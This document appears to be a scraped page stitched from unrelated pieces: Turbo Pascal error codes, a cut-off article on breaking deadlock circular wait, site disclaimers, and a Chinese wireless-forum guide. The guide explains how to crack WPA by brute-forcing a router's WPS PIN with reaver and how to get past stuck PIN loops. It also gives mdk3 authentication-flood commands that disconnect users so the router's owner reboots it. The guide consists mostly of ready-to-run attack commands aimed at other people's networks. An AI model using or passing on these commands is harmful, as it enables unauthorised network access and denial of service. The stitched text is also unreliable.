86： ":" expected 缺“：”error 87： "," expected 缺“，”error 88： "(" expected 缺“（”error 89： ")" expected 缺“）”error 90： "=" expected 缺“=”error 91： ":=" expected 缺“:=”error 92： "[" or "(." Expected 缺“[”或“（.”error 93: "]" or ".)" expected 缺“］”或“.）”error 94： "." expected 缺“.”error 95: ".." expected 缺“..”error 96：Too many variables 变量太多error 97：Invalid FOR control variable ⽆效的FOR循环控制变量error 98：Integer variable expected 缺整型变量error 99：Files and procedure types are not allowed here 该处不允许⽂件和过程类型error 100：String length mismatch 字符串长度不匹配error 101：Invalid ordering of fields ⽆效域顺序error 102：String constant expected 缺字符串常量error 103：Integer or real variable expected 缺整型或实型变量error 104：Ordinal variable expected 缺有序类型变量error 105：INLINE error INLINE错误error 106：Character expression expected 缺字符表达式error 107：Too many relocation items 重定位项太多error 108：Overflow in arithmetic operation 算术运算溢出error 112：CASE constant out of range CASE常量越界error 113：Error in statement 表达式错误error 114：Cannot call an interrupt procedure 不能调⽤中断过程error 116：Must be in 8087 mode to compile this 必须在8087模式编译error 117：Target address not found 找不到⽬标地址error 118：Include files are not allowed here 该处不允许INCLUDE⽂件error 119：No inherited methods are accessible here 该处继承⽅法不可访问error 121：Invalid qualifier ⽆效的限定符error 122：Invalid variable reference ⽆效的变量引⽤error 123：Too many symbols 符号太多error 124：Statement part too large 语句体太长error 126：Files must be var parameters ⽂件必须是变量形参error 127：Too many conditional symbols 条件符号太多error 128：Misplaced conditional directive 条件指令错位error 129：ENDIF directive missing 缺ENDIF指令error 130：Error in initial conditional defines 初始条件定义错误error 131：Header does not match previous definition 和前⾯定义的过程或函数不匹配error 133：Cannot evaluate this expression 不能计算该表达式error 134：Expression incorrectly terminated 表达式错误结束error 135：Invalid format specifier ⽆效格式说明符error 136：Invalid indirect reference ⽆效的间接引⽤error 137：Structured variables are not allowed here 该处不允许结构变量error 138：Cannot evaluate without System unit 没有System单元不能计算error 139：Cannot access this symbol 不能存取符号error 140：Invalid floating point operation ⽆效的符号运算error 141：Cannot compile overlays to memory 不能编译覆盖模块⾄内存error 142：Pointer or procedural variable expected 缺指针或过程变量error 143：Invalid procedure or function reference ⽆效的过程或函数调⽤error 144：Cannot overlay this unit 不能覆盖该单元error 146：File access denied 不允许⽂件访问error 147：Object type expected 缺对象类型error 148：Local object types are not allowed 不允许局部对象类型error 149：VIRTUAL expected 缺VIRTUALerror 150: Method identifier expected 缺⽅法标识符error 151：Virtual constructors are not allowed 不允许虚构造函数error 152：Constructor identifier expected 缺构造函数标识符error 153：Destructor identifier expected 缺析构函数标识符error 154：Fail only allowed within constructors 只能在构造函数内使⽤Fail标准过程error 155：Invalid combination of opcode and operands 操作数与操作符⽆效组合error 156：Memory reference expected 缺内存引⽤指针error 157：Cannot add or subtract relocatable symbols 不能加减可重定位符号error 158：Invalid register combination ⽆效寄存器组合error 159：286/287 instructions are not enabled 未激活286/287指令error 160：Invalid symbol reference ⽆效符号指针error 161：Code generation error 代码⽣成错误error 162：ASM expected 缺ASMerror 166：Procedure or function identifier expected 缺过程或函数标识符error 167：Cannot export this symbol 不能输出该符号error 168：Duplicate export name 外部⽂件名重复error 169：Executable file header too large 可执⾏⽂件头太长error 170：Too many segments 段太多⼀、运⾏错误信息运⾏错误分为四类：1-99为DOS错误；100-149为I/O错误，发⽣I/O后，如果使⽤了编译开关{$I+}，程序将终⽌执⾏，否则编译开关为{$I-}，程序继续执⾏，并由IOResult函数返回错误信息； 150-199为严重错误，200-255为致命错误，致命错误将⽴即终⽌程序执⾏。
破坏循环等待条件的方法
破坏循环等待条件的方法破坏循环等待条件的方法在并发编程中，循环等待是一种常见的问题。
当多个线程或进程相互等待对方释放资源时，可能会陷入循环等待状态，导致程序无法继续执行。
循环等待问题会严重影响程序的性能和可靠性，因此需要寻找有效的方法来破坏循环等待条件。
本文将以“破坏循环等待条件的方法”为主题，从以下几个方面进行分析和总结。
一、加锁顺序加锁顺序是破坏循环等待条件的关键。
在多线程编程中，不同的线程可能会同时访问同一个资源，如果多个线程对资源的加锁顺序不一致，则可能会出现循环等待现象。
为了避免这种情况的发生，我们可以采用以下两种方式：1. 采用全局加锁顺序：对于所有的资源，按照一定的顺序对它们进行加锁。
这样可以保证多个线程对资源的加锁顺序一致，进而避免循环等待现象。
2. 局部加锁顺序：对于不同的资源，可以采用不同的加锁顺序。
这种方式需要根据具体的场景来确定加锁顺序，可以通过分析每个资源的使用频率、共享程度等因素来决定加锁顺序。
二、死锁检测和恢复死锁是循环等待的一种极端情况，它会导致程序完全停止，无法继续执行。
为了避免死锁的发生，可以采取以下措施：1. 死锁检测：通过设计算法、采集日志等方式来检测程序中潜在的死锁情况。
在检测到死锁的情况下，可以采用一定的策略来解锁以破坏循环等待条件。
2. 死锁恢复：在发现死锁的情况下，可以通过杀死某些进程或线程、强制释放锁等方法来恢复程序的正常执行。
死锁恢复需要谨慎处理，否则可能会造成数据丢失等严重后果。
三、超时处理超时处理是破坏循环等待条件的一种有效方式，它可以限制某些等待操作的时间，从而避免出现循环等待现象。
超时处理适用于如下场景：1. 长时间等待：有些操作需要等待其他进程或线程释放资源，如果等待时间太长就可能会导致循环等待现象。
2. 部分错误：有些操作期望在一定时间内完成，如果超时就意味着操作出现了部分错误，需要及时处理。
超时处理可以采用以下两种方法：1. 等待超时机制：设置等待超时时间，在超时时间内未获取到资源就取消等待。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
破解WPA时，PIN出现死循环处理方法。
(吾就爱无线论坛) 如下面这个例子，一开始，或者破解一段时间后出来PIN无限循环：(吾就爱无线论坛)本人经过多次实验最后总结了解决的办法：Required Arguments:-i, --interface=<wlan> Name of the monitor-mode interface to use网卡的监视接口，通常是mon0-b, --bssid=<mac> BSSID of the target APAP的MAC地址(吾就爱无线论坛)Optional Arguments:-m, --mac=<mac> MAC of the host system指定本机MAC地址，在AP有MAC过滤的时候需要使用-e, --essid=<ssid> ESSID of the target AP路由器的ESSID，一般不用指定-c, --channel=<channel> Set the 802.11 channel for the interface (implies -f)信号的频道，如果不指定会自动扫描-o, --out-file=<file> Send output to a log file [stdout]标准输出到文件-s, --session=<file> Restore a previous session file恢复进程文件-C, --exec=<command> Execute the supplied command upon successful pin recovery pin成功后执行命令-D, --daemonize Daemonize reaver设置reaver成Daemon-a, --auto Auto detect the best advanced options for the target AP对目标AP自动检测高级参数-f, --fixed Disable channel hopping禁止频道跳转-5, --5ghz Use 5GHz 802.11 channels使用5G频道-v, --verbose Display non-critical warnings (-vv for more)显示不重要警告信息-vv 可以显示更多-q, --quiet Only display critical messages只显示关键信息-h, --help Show help显示帮助(吾就爱无线论坛)Advanced Options:-p, --pin=<wps pin> Use the specified 4 or 8 digit WPS pin直接读取psk（本人测试未成功，建议用网卡自带软件获取）-d, --delay=<seconds> Set the delay between pin attempts [1]pin间延时，默认1秒，推荐设0-l, --lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [60] AP锁定WPS后等待时间-g, --max-attempts=<num> Quit after num pin attempts最大pin次数-x, --fail-wait=<seconds> Set the time to sleep after 10 unexpected failures [0]10次意外失败后等待时间，默认0秒-r, --recurring-delay=<x:y> Sleep for y seconds every x pin attempts每x次pin后等待y秒-t, --timeout=<seconds> Set the receive timeout period [5]收包超时，默认5秒-T, --m57-timeout=<seconds> Set the M5/M7 timeout period [0.20]M5/M7超时，默认0.2秒-A, --no-associate Do not associate with the AP (association must be done by another application)不连入AP（连入过程必须有其他程序完成）-N, --no-nacks Do not send NACK messages when out of order packets are received不发送NACK信息（如果一直pin不动，可以尝试这个参数）-S, --dh-small Use small DH keys to improve crack speed使用小DH关键值提高速度（推荐使用）-L, --ignore-locks Ignore locked state reported by the target AP忽略目标AP报告的锁定状态-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet每当收到EAP失败包就终止WPS进程-n, --nack Target AP always sends a NACK [Auto]对目标AP总是发送NACK，默认自动-w, --win7 Mimic a Windows 7 registrar [False]模拟win7注册，默认关闭(吾就爱无线论坛)------个人心得---------------------------------------------------------对一个ap刚开始pin的时候打开-vv参数，如果顺利，就中断，然后改成-v继续pin，反正进度是可以保存的reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S如果一直pin不动，尝试加-N参数reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S –N(吾就爱无线论坛)AP洪水攻击1、打气筒mdk3攻击模式操作方法首先检测网卡：ifconfig -a然后模拟端口：airmon-ng start wlan0接下来用：airodump-ng mon0扫描ap找到你pin死的路由器mac用mdk3 做身份验证攻击mdk3 mon0 a -a mac（被pin死的路由器的mac）身份验证攻击效果说明：此攻击是针对无线AP的洪水攻击，又叫做身份验证攻击。
其原理就是向AP发动大量的虚假的链接请求，这种请求数量一旦超过了无线AP所能承受的范围，AP就会自动断开现有链接，使合法用户无法使用无线网络。
迫使路由主人重启路由器。
说明：此命令功能强大，使用错误会造成所有ap不能使用，请指定mac地址，然后使用，其余命令不要乱试。
你要使用此命令的其他参数，请详细阅读此命令参数详解2、CDlinux mdk3攻击模式操作方法首先进入CDlinux，打开水滴或者打气筒搜索pin死的MAC地址（直接打开螃蟹或者3070驱动搜索无线MAC 地址也OK）。
然后点击左下角CDlnux图标，依次打开无线安全--------mdk3-v6进入mdk3后输入命令mdk3 mon0 a -a 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）回车后进入攻击模式，时间不要太长，最多半分钟就可以关闭对话框然后重新扫描网络看pin死的路由是不是已经不在了。
等待主人重启吧~~~非CDLinux可以在这里启动命令输入框注意：1、只有客户端在线时进行攻击才可能达到迫使重启目的，信号越强，效果越佳。
2、每次攻击最好不超5min，否则卡死（看机器配置），稍停1min在进行攻击，连续攻击三次应该就可以了！8C210A pin重码或者pin死路由器的解决办法（我验证貌似有效）看看我重码拼死后,的时候拼死路由器后,整整一晚上没有在找到这个信号,今天起床在看,发现又出来了,继续拼, 发现,重码非常非常的严重,今天中午放弃N次,今晚在小试一下,加了参数后,大减少重码,坚持就是胜利,往下看。
看到了吧,重码,不过,是偶偶的了,加了参数后,不会像昨天和今天上午那样,一直重码一个码不动了.在往下看,奇迹出现了。
Pin码重复出现死循环解决办法1.xiaopanOS环境解决之道：当你看到PIN到一定程度，窗口里的PIN码不变、进度百分比也不走，那么，保持原窗口不变，再点击ROOTSHELL图标，新开一个PIN窗口，输入 reaver -i mon0 -b 正在PIN的MAC -a -s -vv (注意：这里“S”要小写) 那么，你就会发现原来PIN的窗口，PIN码开始改变，进度开始前进了！而且PIN的时间也大为缩短了！如果是PJ到99.99%，执行此部操作就马上弹出正确的pin码和wifi密码，以及路由器的SSIDPIN码和密码。
pin过程中解决90.9%和99.9%死循环的实践，证明非常有效。
pin到90.9%死循环，说明前四位已经pin完，但是没出；原因大概就是AP没发出确认信息，reaver就已经跳过了，从而错过了正确前四位的确认。
pin到99.9%死循环，说明后四位的前三已经跑完，但是没出。
原因同上。
经过实践，已经找到原因所在，论坛里的方法，大概MAC 后跟的后缀都是-vv -a -S，然而，殊不知，这样的后缀虽然可以加快速度，但是，也有可能会错过正确前四等的确认。
所以，不放过每一次确认信息的表达式是reaver -i mon0 -b MAC -v -a -n ，其他的就不用了。
还可以加一个-c。
基本从我遇到90.9%和99.9%的死循环的实践来看，已经100%成功了。